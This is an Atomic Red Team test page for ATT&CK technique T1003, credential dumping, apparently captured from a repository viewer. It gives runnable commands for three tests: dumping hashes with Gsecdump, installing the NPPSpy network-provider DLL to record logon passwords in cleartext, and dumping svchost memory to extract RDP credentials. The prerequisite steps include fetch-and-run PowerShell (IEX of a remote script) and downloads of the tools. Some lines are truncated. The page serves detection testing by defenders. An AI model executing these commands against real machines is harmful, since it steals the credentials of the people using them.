T1003 - OS Credential Dumping

Description from ATT&CK

> Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and access restricted information.
> Several of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.

Atomic Tests

Atomic Test #1 - Gsecdump

Dump credentials from memory using Gsecdump.

Upon successful execution, you should see domain\username's followed by two 32 character hashes.

If you see output that says "compat: error: failed to create child process", execution was likely blocked by Anti-Virus. You will receive only error output if you do not run this test from an elevated context (run as administrator)

If you see a message saying "The system cannot find the path specified", try using the get-prereq_commands to download and install Gsecdump first.

Supported Platforms: Windows

auto_generated_guid: 96345bfc-8ae7-4b6a-80b7-223200f24ef9

Inputs:

Name	Description	Type	Defa
gsecdump_exe	Path to the Gsecdump executable	Path	PathToAtomicsFolder\T1003\bin\gsecdump.exe
gsecdump_bin_hash	File hash of the Gsecdump binary file	String	94CAE63DCBABB71C5DD43F55FD09CAEFFDCD76
gsecdump_url	Path to download Gsecdump binary file	Url	https://web.archive.org/web/20150606043951if_/hv2b5.exe

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
#{gsecdump_exe} -a
```

Dependencies: Run with `powershell`!

Description: Gsecdump must exist on disk at specified location (#{gsecdump_exe})

Check Prereq Commands:

```
if (Test-Path #{gsecdump_exe}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
$parentpath = Split-Path "#{gsecdump_exe}"; $binpath = "$parentpath\gsecdump-v2b5.
IEX(IWR "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master
if(Invoke-WebRequestVerifyHash "#{gsecdump_url}" "$binpath" #{gsecdump_bin_hash}){
  Move-Item $binpath "#{gsecdump_exe}"
}
```

Preview | Code | Blame — Raw

Changes ProviderOrder Registry Key Parameter and creates Key for NPPSpy. After user's logging in cleartext password is saved in C:\NPPSpy.txt. Clean up deletes the files and reverses Registry changes. NPPSpy Source: https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy

Supported Platforms: Windows

auto_generated_guid: 9e2173c0-ba26-4cdf-b0ed-8c54b27e3ad6

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
Copy-Item "$env:Temp\NPPSPY.dll" -Destination "C:\Windows\System32"
$path = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\NetworkProv
$UpdatedValue = $Path.PROVIDERORDER + ",NPPSpy"
Set-ItemProperty -Path $Path.PSPath -Name "PROVIDERORDER" -Value $UpdatedValue
$rv = New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy -ErrorAction I
$rv = New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvide
$rv = New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\Networ
$rv = New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\Networ
```

```
$rv = New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\Networ
echo "[!] Please, logout and log back in. Cleartext password for this account is g
```

Cleanup Commands:

```
$cleanupPath = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Netw
$cleanupUpdatedValue = $cleanupPath.PROVIDERORDER
$cleanupUpdatedValue = $cleanupUpdatedValue -replace ',NPPSpy',''
Set-ItemProperty -Path $cleanupPath.PSPath -Name "PROVIDERORDER" -Value $cleanupUp
Remove-Item -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy" -Recurse -Error
Remove-Item C:\NPPSpy.txt -ErrorAction Ignore
Remove-Item C:\Windows\System32\NPPSpy.dll -ErrorAction Ignore
```

Dependencies: Run with `powershell`!

Description: NPPSpy.dll must be available in local temp directory

Check Prereq Commands:

```
if (Test-Path "$env:Temp\NPPSPY.dll") {exit 0} else {exit 1}
```

Get Prereq Commands:

```
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Invoke-WebRequest -Uri https://github.com/gtworek/PSBits/raw/f221a6db08cb3b52d5f8a
```

Atomic Test #3 - Dump svchost.exe to gather RDP credentials

The svchost.exe contains the RDP plain-text credentials. Source: https://www.n00py.io/2021/05/dumping-plaintext-rdp-credentials-from-svchost-exe/

Upon successful execution, you should see the following file created $env:TEMP\svchost-exe.dmp.

Supported Platforms: Windows

auto_generated_guid: d400090a-d8ca-4be0-982e-c70598a23de9

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
$ps = (Get-NetTCPConnection -LocalPort 3389 -State Established -ErrorAction Ignore
if($ps){$id = $ps[0].OwningProcess} else {$id = (Get-Process svchost)[0].Id }
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump $id $env
```

Cleanup Commands:

```
Remove-Item $env:TEMP\svchost-exe.dmp -ErrorAction Ignore
```